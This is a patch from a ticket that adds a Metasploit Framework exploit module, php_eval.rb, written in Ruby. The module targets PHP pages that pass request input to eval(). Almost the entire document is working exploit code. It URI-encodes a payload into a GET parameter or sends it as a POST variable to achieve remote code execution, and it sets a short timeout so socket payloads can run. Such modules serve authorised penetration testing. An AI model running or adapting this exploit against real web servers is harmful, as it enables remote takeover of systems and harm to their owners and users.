Ticket #198: php_eval.patch

modules/exploits/unix/webapp/php_eval.rb

@@ +1 @@
+##
+# $Id: $
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to 
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+
+require 'msf/core'
+
+module Msf
+
+class Exploits::Unix::Webapp::PHP_Eval < Msf::Exploit::Remote
+
+        include Exploit::Remote::HttpClient
+
+        def initialize(info = {})
+                super(update_info(info, 
+                        'Name'           => 'Generic PHP Code eval',
+                        'Description'    => %q{
+                                Exploits things like <?php eval($_REQUEST['evalme']); ?>
+                        },
+                        'Author'         => 'egypt <egypt@nmt.edu>',
+                        'License'        => BSD_LICENSE,
+                        'Version'        => '$Revision: 0 $',
+                        'References'     => [ ],
+                        'Privileged'     => false,
+                        'Platform'       => ['php'],
+                        'Payload'        => {
+                                        'Space'       => 10000,   # arbitrarily chosen
+                                        'DisableNops' => true,
+                                        'BadChars'    => "'\"",  # quotes are escaped by PHP's magic_quotes_gpc in a default install
+                                        'Keys'        => ['php'],
+                                },
+                        'Targets'        => [ ['Automatic', { }], ],
+                        'DefaultTarget' => 0
+                        ))
+
+
+                register_options(
+                        [
+                                OptString.new('URIPATH',   [ true,  "The URI to request, with the eval parameter changed to !CODE!", '/eval.php?evalme=!CODE!']),
+                                OptBool.new('USE_POST', [ false,  "Use POST method instead of GET", false]),
+                                OptString.new('USE_POST_VAR',   [ false,  "Variable name to use if we're sending a POST request", 'evalme']),
+                        ], self.class
+                        )
+        
+                deregister_options(
+                        'HTTP::junk_params', # not your typical POST, so don't inject params.
+                        'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now. 
+                        )
+        end
+
+        def exploit
+                # very short timeout because the request may never return if we're
+                # sending a socket payload
+                timeout = 0.01
+                if (datastore['USE_POST']) 
+                        if !datastore['USE_POST_VAR']
+                                raise RuntimeError, "USE_POST_VAR must be set to send POST request"
+                        end
+                        print_status("Sending POST request with payload:\n#{payload.encoded}")
+                        # it's post, so chop off all the get variables
+                        uri = datastore['URIPATH'].slice(0, datastore['URIPATH'].index("?"))
+                        response = send_request_cgi({
+                                'method'    => 'POST',
+                                'uri'       => uri,
+                                'vars_post' => {datastore['USE_POST_VAR'] => payload.encoded},
+                                },timeout)
+                else
+                        uri = datastore['URIPATH'].sub("!CODE!", Rex::Text.uri_encode(payload.encoded))
+                        print_status("Sending GET request for #{uri}")
+                        response = send_request_raw({ 'uri' => uri },timeout)
+                end
+                if (response)
+                        print_error(response)
+                end
+        end
+end     
+end